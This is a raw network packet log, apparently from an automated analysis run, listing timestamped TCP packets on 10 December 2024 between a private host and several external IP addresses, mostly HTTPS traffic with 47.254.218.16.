Dec 10, 2024 12:48:41.766238928 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.773664951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.773684978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.773770094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.773792982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.773838043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.775316954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.778784037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.778801918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.778851032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.778862000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.778875113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.778902054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.784686089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.784703016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.784765005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.784782887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.784826040 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.823777914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.889494896 CET	49680	443	192.168.2.17	20.189.173.13
Dec 10, 2024 12:48:41.889508009 CET	49682	80	192.168.2.17	192.229.211.108
Dec 10, 2024 12:48:41.936131954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.936156988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.936234951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.936259031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.936304092 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.941538095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.941553116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.941611052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.941616058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.941660881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.947577953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.947593927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.947653055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.947659016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.947679996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.947702885 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.952914953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.952929974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.952965975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.952974081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.953005075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.953017950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.958826065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.958842993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.958893061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.958899975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.958944082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.960503101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.964442968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.964461088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.964513063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.964535952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.964577913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.970355988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.970371962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.970429897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.970448971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.970501900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.976315022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.976329088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.976377964 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.976385117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:41.976411104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.976428986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:41.996351957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.128293037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.128312111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.128405094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.128428936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.128478050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.133459091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.133476019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.133518934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.133524895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.133548021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.133583069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.139470100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.139486074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.139548063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.139554977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.139601946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.145421982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.145437956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.145504951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.145510912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.145550966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.151478052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.151494026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.151575089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.151581049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.151623964 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.151976109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.156997919 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.157012939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.157073021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.157079935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.157129049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.162547112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.162561893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.162617922 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.162628889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.162673950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.168292046 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.168307066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.168361902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.168375015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.168426991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.188646078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.320621014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.320642948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.320723057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.320734978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.320779085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.326672077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.326694012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.326750040 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.326755047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.326822996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.331996918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.332025051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.332082987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.332087994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.332113028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.332135916 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.337852955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.337874889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.337930918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.337935925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.337982893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.343935966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.343960047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.343993902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.343998909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.344027996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.344047070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.346849918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.349625111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.349643946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.349695921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.349699974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.349746943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.355515957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.355535984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.355588913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.355593920 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.355640888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.360681057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.360701084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.360749960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.360754967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.360780001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.360797882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.382339001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.512742996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.512768984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.512854099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.512877941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.512923002 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.518735886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.518754005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.518827915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.518832922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.518868923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.524019957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.524034977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.524106026 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.524112940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.524156094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.530112028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.530131102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.530194998 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.530200958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.530236959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.535939932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.535959959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.536021948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.536029100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.536075115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.539567947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.541548967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.541564941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.541625023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.541630983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.541690111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.547559023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.547574043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.547631025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.547636986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.547688961 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.552783012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.552798986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.552855968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.552861929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.552902937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.577749014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.704890966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.704909086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.704992056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.705001116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.705046892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.710927963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.710943937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.710990906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.711002111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.711049080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.716227055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.716243029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.716295004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.716299057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.716356039 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.722183943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.722199917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.722255945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.722261906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.722305059 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.728121996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.728137970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.728189945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.728195906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.728245974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.730829954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.733831882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.733846903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.733901978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.733907938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.733952045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.739713907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.739727020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.739788055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.739793062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.739834070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.744991064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.745006084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.745062113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.745066881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.745106936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.766822100 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.897099018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.897118092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.897191048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.897216082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.897258997 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.903068066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.903083086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.903135061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.903152943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.903192043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.909187078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.909202099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.909250975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.909260035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.909295082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.914315939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.914330006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.914381981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.914402008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.914453983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.920244932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.920259953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.920310974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.920334101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.920378923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.924412012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.925962925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.925978899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.926029921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.926045895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.926085949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.931902885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.931917906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.931955099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.931973934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.931986094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.932013988 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.937906027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.937958002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.937990904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.938015938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:42.938030005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.938061953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:42.960202932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.090085983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.090111017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.090179920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.090207100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.090254068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.095822096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.095840931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.095885038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.095910072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.095925093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.095952988 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.101923943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.101938963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.101998091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.102005005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.102068901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.102498055 CET	49682	80	192.168.2.17	192.229.211.108
Dec 10, 2024 12:48:43.107176065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.107191086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.107234955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.107245922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.107269049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.107286930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.113142967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.113166094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.113217115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.113221884 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.113259077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.115220070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.118702888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.118716955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.118769884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.118774891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.118813038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.124710083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.124737978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.124774933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.124779940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.124804020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.124823093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.130119085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.130136013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.130198002 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.130203009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.130244970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.151592970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.619003057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.619019032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.619040966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.619091988 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.619117975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.619132996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.619167089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.620028973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.620057106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.620084047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.620089054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.620137930 CET	49729	443	192.168.2.17	47.254.218.16
